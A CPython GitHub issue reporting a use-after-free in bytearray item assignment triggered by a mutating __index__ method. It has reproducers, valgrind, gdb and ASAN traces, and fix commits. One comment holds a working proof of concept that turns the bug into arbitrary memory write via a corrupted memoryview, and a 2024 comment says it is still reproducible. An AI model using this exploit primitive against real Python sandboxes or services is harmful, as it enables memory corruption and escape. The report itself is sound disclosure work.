Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Invalid memory write in bytearray #91153

Closed
JelleZijlstra opened this issue Mar 13, 2022 · 5 comments
Closed

Invalid memory write in bytearray #91153

JelleZijlstra opened this issue Mar 13, 2022 · 5 comments
Assignees
@brandtbucher
Labels
3.9 only security fixes 3.10 only security fixes 3.11 only security fixes interpreter-core (Objects, Python, Grammar, and Parser dirs) type-crash A hard crash of the interpreter, possibly with a core dump

Comments

@JelleZijlstra
Copy link
Member

BPO 46997
Nosy @gvanrossum, @JelleZijlstra

Note: these values reflect the state of the issue at the time it was migrated and might not reflect the current state.

Show more details

GitHub fields:

assignee = None
closed_at = None
created_at = <Date 2022-03-13.02:05:03.024>
labels = ['interpreter-core', '3.9', '3.10', '3.11']
title = 'Invalid memory write in bytearray'
updated_at = <Date 2022-03-13.02:14:01.825>
user = 'https://github.com/JelleZijlstra'

bugs.python.org fields:

activity = <Date 2022-03-13.02:14:01.825>
actor = 'JelleZijlstra'
assignee = 'none'
closed = False
closed_date = None
closer = None
components = ['Interpreter Core']
creation = <Date 2022-03-13.02:05:03.024>
creator = 'JelleZijlstra'
dependencies = []
files = []
hgrepos = []
issue_num = 46997
keywords = []
message_count = 2.0
messages = ['415021', '415022']
nosy_count = 2.0
nosy_names = ['gvanrossum', 'JelleZijlstra']
pr_nums = []
priority = 'normal'
resolution = None
stage = None
status = 'open'
superseder = None
type = None
url = 'https://bugs.python.org/issue46997'
versions = ['Python 3.9', 'Python 3.10', 'Python 3.11']
@JelleZijlstra
Copy link
Member Author

JelleZijlstra commented Mar 13, 2022 •
edited by gvanrossum
Loading

Inspired by Guido's comment in https://github.com/python/cpython/pull/31834/files#r825352900, I found that there are some places in bytearrayobject.c where we can write to free'd memory if we encounter an object with a sneaky __index__ method:

$ cat basneak.py 
ba = bytearray([0 for _ in range(10000)])

class sneaky:
    def __index__(self):
        ba.clear()
        return 1

ba[-1] = sneaky()
$ valgrind ./python basneak.py 
==87894== Memcheck, a memory error detector
==87894== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al.
==87894== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info
==87894== Command: ./python basneak.py
==87894== 
==87894== Invalid write of size 1
==87894==    at 0x49B70F: bytearray_ass_subscript (bytearrayobject.c:632)
==87894==    by 0x488E03: PyObject_SetItem (abstract.c:211)
<snip>

In bytearray_setitem(), we first do bounds checking, and then call _getbytevalue() to get the numeric value of the argument.

I think there's a similar bug in bytearray_ass_subscript().

@JelleZijlstra JelleZijlstra added interpreter-core (Objects, Python, Grammar, and Parser dirs) 3.10 only security fixes 3.11 only security fixes labels Mar 13, 2022
@JelleZijlstra
Copy link
Member Author

3.9 segfaults.

(gdb) bt
#0 bytearray_ass_subscript (self=<optimized out>, index=0x7ffff7e118f0, values=0x7ffff6f918b0) at Objects/bytearrayobject.c:640
#1 0x0000000000536302 in _PyEval_EvalFrameDefault (tstate=<optimized out>, f=0x999a80, throwflag=<optimized out>) at Python/ceval.c:1990
#2 0x0000000000534775 in _PyEval_EvalFrame (throwflag=0, f=0x999a80, tstate=0x93de90) at ./Include/internal/pycore_ceval.h:40

@JelleZijlstra JelleZijlstra added the 3.9 only security fixes label Mar 13, 2022
@ezio-melotti ezio-melotti transferred this issue from another repository Apr 10, 2022
@gvanrossum gvanrossum added the type-crash A hard crash of the interpreter, possibly with a core dump label Apr 22, 2022
@kumaraditya303 kumaraditya303 mentioned this issue May 19, 2022
Closed
@chilaxan
Copy link
Contributor

chilaxan commented May 19, 2022 •
edited
Loading 

to_write_after_free = bytearray(bytearray.__basicsize__)
class sneaky:
    def __index__(self):
        global to_corrupt_ob_exports, to_uaf
        del to_write_after_free[:]
        to_corrupt_ob_exports = bytearray(bytearray.__basicsize__)
        to_write_after_free.__init__(bytearray.__basicsize__)
        to_uaf = memoryview(to_corrupt_ob_exports)
        return -tuple.__itemsize__

to_write_after_free[sneaky()] = 0
occupy_uaf = to_corrupt_ob_exports.clear() \
          or bytearray()

view_backing = to_uaf.cast('P')
view = occupy_uaf

view_backing[2] = (2 ** (tuple.__itemsize__ * 8) - 1) // 2
memory = memoryview(view)
memory[id(250) + int.__basicsize__] = 100
print(250)

proof of concept that this bug can be used to corrupt memory in a malicious/useful way
tested on Python 3.12.0a0 built with ./configure --enable-optimizations

image

@kumaraditya303
Copy link
Contributor

ASAN report:

=================================================================
==17089==ERROR: AddressSanitizer: heap-use-after-free on address 0x62600000580f at pc 0x55f0875e0b57 bp 0x7fff4c7822e0 sp 0x7fff4c7822d0
WRITE of size 1 at 0x62600000580f thread T0
    #0 0x55f0875e0b56 in bytearray_ass_subscript Objects/bytearrayobject.c:618
    #1 0x55f08758e10f in PyObject_SetItem Objects/abstract.c:212
    #2 0x55f087bc13ec in _PyEval_EvalFrameDefault Python/ceval.c:2333
    #3 0x55f087c304a3 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:74
    #4 0x55f087c304a3 in _PyEval_Vector Python/ceval.c:6472
    #5 0x55f087c309c9 in PyEval_EvalCode Python/ceval.c:1161
    #6 0x55f087daf6b2 in run_eval_code_obj Python/pythonrun.c:1713
    #7 0x55f087db12ac in run_mod Python/pythonrun.c:1734
    #8 0x55f087db1667 in pyrun_file Python/pythonrun.c:1629
    #9 0x55f087dbf998 in _PyRun_SimpleFileObject Python/pythonrun.c:439
    #10 0x55f087dc0151 in _PyRun_AnyFileObject Python/pythonrun.c:78
    #11 0x55f087e616b7 in pymain_run_file_obj Modules/main.c:360
    #12 0x55f087e6234c in pymain_run_file Modules/main.c:379
    #13 0x55f087e66d2a in pymain_run_python Modules/main.c:610
    #14 0x55f087e66fa5 in Py_RunMain Modules/main.c:689
    #15 0x55f087e67195 in pymain_main Modules/main.c:719
    #16 0x55f087e674fc in Py_BytesMain Modules/main.c:743
    #17 0x55f0873362c5 in main Programs/python.c:15
    #18 0x7f73bfe63082 in __libc_start_main ../csu/libc-start.c:308
    #19 0x55f0873361fd in _start (/workspaces/cpython/python+0x18491fd)

0x62600000580f is located 9999 bytes inside of 10001-byte region [0x626000003100,0x626000005811)
freed by thread T0 here:
    #0 0x7f73c0c2ac3e in __interceptor_realloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:163
    #1 0x55f0878484bb in _PyMem_RawRealloc Objects/obmalloc.c:123
    #2 0x55f08784cb06 in PyObject_Realloc Objects/obmalloc.c:735
    #3 0x55f0875d5540 in PyByteArray_Resize Objects/bytearrayobject.c:233
    #4 0x55f0875dfdcc in bytearray_clear_impl Objects/bytearrayobject.c:1134
    #5 0x55f0875dfec4 in bytearray_clear Objects/clinic/bytearrayobject.c.h:89
    #6 0x55f087689006 in method_vectorcall_NOARGS Objects/descrobject.c:454
    #7 0x55f08763a245 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:92
    #8 0x55f08763a245 in PyObject_Vectorcall Objects/call.c:300
    #9 0x55f087c101b1 in _PyEval_EvalFrameDefault Python/ceval.c:4841
    #10 0x55f087c304a3 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:74
    #11 0x55f087c304a3 in _PyEval_Vector Python/ceval.c:6472
    #12 0x55f087636edd in _PyFunction_Vectorcall Objects/call.c:396
    #13 0x55f0878ee41e in _PyObject_VectorcallTstate Include/internal/pycore_call.h:92
    #14 0x55f0878ee41e in vectorcall_unbound Objects/typeobject.c:1651
    #15 0x55f0878ee41e in vectorcall_method Objects/typeobject.c:1682
    #16 0x55f0878efe5a in slot_nb_index Objects/typeobject.c:7643
    #17 0x55f087585d45 in _PyNumber_Index Objects/abstract.c:1418
    #18 0x55f08776dd33 in PyLong_AsLongAndOverflow Objects/longobject.c:503
    #19 0x55f0875a70bc in _getbytevalue Objects/bytearrayobject.c:27
    #20 0x55f0875e0765 in bytearray_ass_subscript Objects/bytearrayobject.c:616
    #21 0x55f08758e10f in PyObject_SetItem Objects/abstract.c:212
    #22 0x55f087bc13ec in _PyEval_EvalFrameDefault Python/ceval.c:2333
    #23 0x55f087c304a3 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:74
    #24 0x55f087c304a3 in _PyEval_Vector Python/ceval.c:6472
    #25 0x55f087c309c9 in PyEval_EvalCode Python/ceval.c:1161
    #26 0x55f087daf6b2 in run_eval_code_obj Python/pythonrun.c:1713
    #27 0x55f087db12ac in run_mod Python/pythonrun.c:1734
    #28 0x55f087db1667 in pyrun_file Python/pythonrun.c:1629
    #29 0x55f087dbf998 in _PyRun_SimpleFileObject Python/pythonrun.c:439
    #30 0x55f087dc0151 in _PyRun_AnyFileObject Python/pythonrun.c:78
    #31 0x55f087e616b7 in pymain_run_file_obj Modules/main.c:360
    #32 0x55f087e6234c in pymain_run_file Modules/main.c:379
    #33 0x55f087e66d2a in pymain_run_python Modules/main.c:610
    #34 0x55f087e66fa5 in Py_RunMain Modules/main.c:689

previously allocated by thread T0 here:
    #0 0x7f73c0c2ac3e in __interceptor_realloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:163
    #1 0x55f0878484bb in _PyMem_RawRealloc Objects/obmalloc.c:123
    #2 0x55f08784cb06 in PyObject_Realloc Objects/obmalloc.c:735
    #3 0x55f0875d5540 in PyByteArray_Resize Objects/bytearrayobject.c:233
    #4 0x55f0875d6f5c in bytearray___init___impl Objects/bytearrayobject.c:835
    #5 0x55f0875d8f83 in bytearray___init__ Objects/clinic/bytearrayobject.c.h:68
    #6 0x55f0878d9f4e in type_call Objects/typeobject.c:1112
    #7 0x55f087637615 in _PyObject_MakeTpCall Objects/call.c:215
    #8 0x55f08763a2a6 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:90
    #9 0x55f08763a2a6 in PyObject_Vectorcall Objects/call.c:300
    #10 0x55f087c101b1 in _PyEval_EvalFrameDefault Python/ceval.c:4841
    #11 0x55f087c304a3 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:74
    #12 0x55f087c304a3 in _PyEval_Vector Python/ceval.c:6472
    #13 0x55f087c309c9 in PyEval_EvalCode Python/ceval.c:1161
    #14 0x55f087daf6b2 in run_eval_code_obj Python/pythonrun.c:1713
    #15 0x55f087db12ac in run_mod Python/pythonrun.c:1734
    #16 0x55f087db1667 in pyrun_file Python/pythonrun.c:1629
    #17 0x55f087dbf998 in _PyRun_SimpleFileObject Python/pythonrun.c:439
    #18 0x55f087dc0151 in _PyRun_AnyFileObject Python/pythonrun.c:78
    #19 0x55f087e616b7 in pymain_run_file_obj Modules/main.c:360
    #20 0x55f087e6234c in pymain_run_file Modules/main.c:379
    #21 0x55f087e66d2a in pymain_run_python Modules/main.c:610
    #22 0x55f087e66fa5 in Py_RunMain Modules/main.c:689
    #23 0x55f087e67195 in pymain_main Modules/main.c:719
    #24 0x55f087e674fc in Py_BytesMain Modules/main.c:743
    #25 0x55f0873362c5 in main Programs/python.c:15
    #26 0x7f73bfe63082 in __libc_start_main ../csu/libc-start.c:308

SUMMARY: AddressSanitizer: heap-use-after-free Objects/bytearrayobject.c:618 in bytearray_ass_subscript
Shadow bytes around the buggy address:
  0x0c4c7fff8ab0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4c7fff8ac0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4c7fff8ad0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4c7fff8ae0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4c7fff8af0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c4c7fff8b00: fd[fd]fd fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4c7fff8b10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4c7fff8b20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4c7fff8b30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4c7fff8b40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4c7fff8b50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==17089==ABORTING

@bedevere-bot bedevere-bot mentioned this issue Jul 15, 2022
Merged
@brandtbucher brandtbucher self-assigned this Jul 16, 2022
brandtbucher added a commit that referenced this issue Jul 19, 2022
@brandtbucher
GH-91153: Handle mutating __index__ methods in bytearray item assignm…
f365895 
…ent (GH-94891)
miss-islington pushed a commit to miss-islington/cpython that referenced this issue Jul 19, 2022
@brandtbucher @miss-islington
pythonGH-91153: Handle mutating __index__ methods in bytearray item a…
da3610c 
…ssignment (pythonGH-94891)

(cherry picked from commit f365895)

Co-authored-by: Brandt Bucher <brandtbucher@microsoft.com>
This was referenced Jul 19, 2022
Merged
Merged
miss-islington pushed a commit to miss-islington/cpython that referenced this issue Jul 19, 2022
@brandtbucher @miss-islington
pythonGH-91153: Handle mutating __index__ methods in bytearray item a…
d61a2fa 
…ssignment (pythonGH-94891)

(cherry picked from commit f365895)

Co-authored-by: Brandt Bucher <brandtbucher@microsoft.com>
miss-islington added a commit that referenced this issue Jul 19, 2022
@miss-islington @brandtbucher
GH-91153: Handle mutating __index__ methods in bytearray item assignm…
2d79804 
…ent (GH-94891)

(cherry picked from commit f365895)

Co-authored-by: Brandt Bucher <brandtbucher@microsoft.com>
miss-islington added a commit that referenced this issue Jul 19, 2022
@miss-islington @brandtbucher
GH-91153: Handle mutating __index__ methods in bytearray item assignm…
9487e8d 
…ent (GH-94891)

(cherry picked from commit f365895)

Co-authored-by: Brandt Bucher <brandtbucher@microsoft.com>
@Nambers
Copy link

Nambers commented Jun 13, 2024

lol this still doable nowadays.

ref:

asan output:

Python 3.12.3 (tags/v3.12.3-dirty:f6650f9ad7, Jun  1 2024, 10:59:31) [Clang 17.0.6 ] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> class UAF:
...     def __index__(self):
...             global memory
...             uaf.clear()
...             memory = bytearray()
...             uaf.extend([0]*56)
...             return 1
... 
>>> uaf = bytearray(56)
>>> uaf[23] = UAF()
=================================================================
==73492==ERROR: AddressSanitizer: heap-use-after-free on address 0x506000184177 at pc 0x5f21ffb75d20 bp 0x7ffd54eefaf0 sp 0x7ffd54eefae8
WRITE of size 1 at 0x506000184177 thread T0
    #0 0x5f21ffb75d1f in bytearray_ass_subscript /home/eritquearcus/github/cpython/Objects/bytearrayobject.c:630:20
    #1 0x5f21ffe4e7c4 in _PyEval_EvalFrameDefault /home/eritquearcus/github/cpython/build-asan/Python/bytecodes.c:552:23
    #2 0x5f21ffe3bd9a in _PyEval_EvalFrame /home/eritquearcus/github/cpython/Include/internal/pycore_ceval.h:89:16
    #3 0x5f21ffe3bd9a in _PyEval_Vector /home/eritquearcus/github/cpython/Python/ceval.c:1683:12
    #4 0x5f21ffe3bd9a in PyEval_EvalCode /home/eritquearcus/github/cpython/Python/ceval.c:578:21
    #5 0x5f21fff7a337 in run_eval_code_obj /home/eritquearcus/github/cpython/Python/pythonrun.c:1722:9
    #6 0x5f21fff7a337 in run_mod /home/eritquearcus/github/cpython/Python/pythonrun.c:1743:19
    #7 0x5f21fff773ef in PyRun_InteractiveOneObjectEx /home/eritquearcus/github/cpython/Python/pythonrun.c:260:9
    #8 0x5f21fff7600c in _PyRun_InteractiveLoopObject /home/eritquearcus/github/cpython/Python/pythonrun.c:137:15
    #9 0x5f21fff75d76 in _PyRun_AnyFileObject /home/eritquearcus/github/cpython/Python/pythonrun.c:72:15
    #10 0x5f21fff76e19 in PyRun_AnyFileExFlags /home/eritquearcus/github/cpython/Python/pythonrun.c:104:15
    #11 0x5f21fffd9ccc in pymain_run_stdin /home/eritquearcus/github/cpython/Modules/main.c:520:15
    #12 0x5f21fffd9ccc in pymain_run_python /home/eritquearcus/github/cpython/Modules/main.c:632:21
    #13 0x5f21fffd9ccc in Py_RunMain /home/eritquearcus/github/cpython/Modules/main.c:709:5
    #14 0x5f21fffdaf1d in pymain_main /home/eritquearcus/github/cpython/Modules/main.c:739:12
    #15 0x5f21fffdb1ed in Py_BytesMain /home/eritquearcus/github/cpython/Modules/main.c:763:12
    #16 0x71478634ec87  (/usr/lib/libc.so.6+0x25c87) (BuildId: 32a656aa5562eece8c59a585f5eacd6cf5e2307b)
    #17 0x71478634ed4b in __libc_start_main (/usr/lib/libc.so.6+0x25d4b) (BuildId: 32a656aa5562eece8c59a585f5eacd6cf5e2307b)
    #18 0x5f21ff969e34 in _start (/home/eritquearcus/github/cpython/install-asan/bin/python3.12+0x274e34) (BuildId: 4bd864c94caa62cd4658a9bb93ba56843131c7c2)

0x506000184177 is located 23 bytes inside of 57-byte region [0x506000184160,0x506000184199)
freed by thread T0 here:
    #0 0x5f21ffa5812a in realloc.part.0 asan_malloc_linux.cpp.o
    #1 0x5f21ffb701de in PyByteArray_Resize /home/eritquearcus/github/cpython/Objects/bytearrayobject.c:234:16
    #2 0x5f21ffb76b4e in bytearray_clear_impl /home/eritquearcus/github/cpython/Objects/bytearrayobject.c:1146:9
    #3 0x5f21ffb76b4e in bytearray_clear /home/eritquearcus/github/cpython/Objects/clinic/bytearrayobject.c.h:118:12
    #4 0x5f21ffbcc5db in method_vectorcall_NOARGS /home/eritquearcus/github/cpython/Objects/descrobject.c:454:24
    #5 0x5f21ffbab45b in _PyObject_VectorcallTstate /home/eritquearcus/github/cpython/Include/internal/pycore_call.h:92:11
    #6 0x5f21ffbab45b in PyObject_Vectorcall /home/eritquearcus/github/cpython/Objects/call.c:325:12
    #7 0x5f21ffe4fa76 in _PyEval_EvalFrameDefault /home/eritquearcus/github/cpython/build-asan/Python/bytecodes.c:2706:19
    #8 0x5f21ffccd20c in _PyObject_VectorcallTstate /home/eritquearcus/github/cpython/Include/internal/pycore_call.h:92:11
    #9 0x5f21ffccd20c in vectorcall_unbound /home/eritquearcus/github/cpython/Objects/typeobject.c:2230:12
    #10 0x5f21ffccd20c in vectorcall_method /home/eritquearcus/github/cpython/Objects/typeobject.c:2261:24
    #11 0x5f21ffcdfa22 in slot_nb_index /home/eritquearcus/github/cpython/Objects/typeobject.c:8655:12
    #12 0x5f21ffb60788 in _PyNumber_Index /home/eritquearcus/github/cpython/Objects/abstract.c:1413:24
    #13 0x5f21ffc23f29 in PyLong_AsLongAndOverflow /home/eritquearcus/github/cpython/Objects/longobject.c:481:29
    #14 0x5f21ffb75092 in _getbytevalue /home/eritquearcus/github/cpython/Objects/bytearrayobject.c:27:23
    #15 0x5f21ffb75092 in bytearray_ass_subscript /home/eritquearcus/github/cpython/Objects/bytearrayobject.c:608:24
    #16 0x5f21ffe4e7c4 in _PyEval_EvalFrameDefault /home/eritquearcus/github/cpython/build-asan/Python/bytecodes.c:552:23
    #17 0x5f21ffe3bd9a in _PyEval_EvalFrame /home/eritquearcus/github/cpython/Include/internal/pycore_ceval.h:89:16
    #18 0x5f21ffe3bd9a in _PyEval_Vector /home/eritquearcus/github/cpython/Python/ceval.c:1683:12
    #19 0x5f21ffe3bd9a in PyEval_EvalCode /home/eritquearcus/github/cpython/Python/ceval.c:578:21
    #20 0x5f21fff7a337 in run_eval_code_obj /home/eritquearcus/github/cpython/Python/pythonrun.c:1722:9
    #21 0x5f21fff7a337 in run_mod /home/eritquearcus/github/cpython/Python/pythonrun.c:1743:19
    #22 0x5f21fff773ef in PyRun_InteractiveOneObjectEx /home/eritquearcus/github/cpython/Python/pythonrun.c:260:9
    #23 0x5f21fff7600c in _PyRun_InteractiveLoopObject /home/eritquearcus/github/cpython/Python/pythonrun.c:137:15
    #24 0x5f21fff75d76 in _PyRun_AnyFileObject /home/eritquearcus/github/cpython/Python/pythonrun.c:72:15
    #25 0x5f21fff76e19 in PyRun_AnyFileExFlags /home/eritquearcus/github/cpython/Python/pythonrun.c:104:15
    #26 0x5f21fffd9ccc in pymain_run_stdin /home/eritquearcus/github/cpython/Modules/main.c:520:15
    #27 0x5f21fffd9ccc in pymain_run_python /home/eritquearcus/github/cpython/Modules/main.c:632:21
    #28 0x5f21fffd9ccc in Py_RunMain /home/eritquearcus/github/cpython/Modules/main.c:709:5
    #29 0x5f21fffdaf1d in pymain_main /home/eritquearcus/github/cpython/Modules/main.c:739:12
    #30 0x5f21fffdb1ed in Py_BytesMain /home/eritquearcus/github/cpython/Modules/main.c:763:12
    #31 0x71478634ec87  (/usr/lib/libc.so.6+0x25c87) (BuildId: 32a656aa5562eece8c59a585f5eacd6cf5e2307b)
    #32 0x71478634ed4b in __libc_start_main (/usr/lib/libc.so.6+0x25d4b) (BuildId: 32a656aa5562eece8c59a585f5eacd6cf5e2307b)
    #33 0x5f21ff969e34 in _start (/home/eritquearcus/github/cpython/install-asan/bin/python3.12+0x274e34) (BuildId: 4bd864c94caa62cd4658a9bb93ba56843131c7c2)

previously allocated by thread T0 here:
    #0 0x5f21ffa5812a in realloc.part.0 asan_malloc_linux.cpp.o
    #1 0x5f21ffb701de in PyByteArray_Resize /home/eritquearcus/github/cpython/Objects/bytearrayobject.c:234:16
    #2 0x5f21ffb72160 in bytearray___init___impl /home/eritquearcus/github/cpython/Objects/bytearrayobject.c:819:21
    #3 0x5f21ffb72160 in bytearray___init__ /home/eritquearcus/github/cpython/Objects/clinic/bytearrayobject.c.h:97:20
    #4 0x5f21ffcc5100 in type_call /home/eritquearcus/github/cpython/Objects/typeobject.c:1673:19
    #5 0x5f21ffba9e22 in _PyObject_MakeTpCall /home/eritquearcus/github/cpython/Objects/call.c:240:18
    #6 0x5f21ffe4fa76 in _PyEval_EvalFrameDefault /home/eritquearcus/github/cpython/build-asan/Python/bytecodes.c:2706:19
    #7 0x5f21ffe3bd9a in _PyEval_EvalFrame /home/eritquearcus/github/cpython/Include/internal/pycore_ceval.h:89:16
    #8 0x5f21ffe3bd9a in _PyEval_Vector /home/eritquearcus/github/cpython/Python/ceval.c:1683:12
    #9 0x5f21ffe3bd9a in PyEval_EvalCode /home/eritquearcus/github/cpython/Python/ceval.c:578:21
    #10 0x5f21fff7a337 in run_eval_code_obj /home/eritquearcus/github/cpython/Python/pythonrun.c:1722:9
    #11 0x5f21fff7a337 in run_mod /home/eritquearcus/github/cpython/Python/pythonrun.c:1743:19
    #12 0x5f21fff773ef in PyRun_InteractiveOneObjectEx /home/eritquearcus/github/cpython/Python/pythonrun.c:260:9
    #13 0x5f21fff7600c in _PyRun_InteractiveLoopObject /home/eritquearcus/github/cpython/Python/pythonrun.c:137:15
    #14 0x5f21fff75d76 in _PyRun_AnyFileObject /home/eritquearcus/github/cpython/Python/pythonrun.c:72:15
    #15 0x5f21fff76e19 in PyRun_AnyFileExFlags /home/eritquearcus/github/cpython/Python/pythonrun.c:104:15
    #16 0x5f21fffd9ccc in pymain_run_stdin /home/eritquearcus/github/cpython/Modules/main.c:520:15
    #17 0x5f21fffd9ccc in pymain_run_python /home/eritquearcus/github/cpython/Modules/main.c:632:21
    #18 0x5f21fffd9ccc in Py_RunMain /home/eritquearcus/github/cpython/Modules/main.c:709:5
    #19 0x5f21fffdaf1d in pymain_main /home/eritquearcus/github/cpython/Modules/main.c:739:12
    #20 0x5f21fffdb1ed in Py_BytesMain /home/eritquearcus/github/cpython/Modules/main.c:763:12
    #21 0x71478634ec87  (/usr/lib/libc.so.6+0x25c87) (BuildId: 32a656aa5562eece8c59a585f5eacd6cf5e2307b)
    #22 0x71478634ed4b in __libc_start_main (/usr/lib/libc.so.6+0x25d4b) (BuildId: 32a656aa5562eece8c59a585f5eacd6cf5e2307b)
    #23 0x5f21ff969e34 in _start (/home/eritquearcus/github/cpython/install-asan/bin/python3.12+0x274e34) (BuildId: 4bd864c94caa62cd4658a9bb93ba56843131c7c2)

SUMMARY: AddressSanitizer: heap-use-after-free /home/eritquearcus/github/cpython/Objects/bytearrayobject.c:630:20 in bytearray_ass_subscript
Shadow bytes around the buggy address:
  0x506000183e80: fd fd fd fa fa fa fa fa fd fd fd fd fd fd fd fa
  0x506000183f00: fa fa fa fa fd fd fd fd fd fd fd fa fa fa fa fa
  0x506000183f80: fd fd fd fd fd fd fd fd fa fa fa fa fd fd fd fd
  0x506000184000: fd fd fd fa fa fa fa fa fd fd fd fd fd fd fd fa
  0x506000184080: fa fa fa fa fd fd fd fd fd fd fd fa fa fa fa fa
=>0x506000184100: 00 00 00 00 00 00 00 fa fa fa fa fa fd fd[fd]fd
  0x506000184180: fd fd fd fd fa fa fa fa fd fd fd fd fd fd fd fa
  0x506000184200: fa fa fa fa fd fd fd fd fd fd fd fd fa fa fa fa
  0x506000184280: fd fd fd fd fd fd fd fa fa fa fa fa fd fd fd fd
  0x506000184300: fd fd fd fa fa fa fa fa fd fd fd fd fd fd fd fa
  0x506000184380: fa fa fa fa fd fd fd fd fd fd fd fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==73492==ABORTING

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees

@brandtbucher brandtbucher

Labels
3.9 only security fixes 3.10 only security fixes 3.11 only security fixes interpreter-core (Objects, Python, Grammar, and Parser dirs) type-crash A hard crash of the interpreter, possibly with a core dump
Projects
None yet
Milestone
No milestone
Development

No branches or pull requests
6 participants
@JelleZijlstra @gvanrossum @Nambers @chilaxan @brandtbucher @kumaraditya303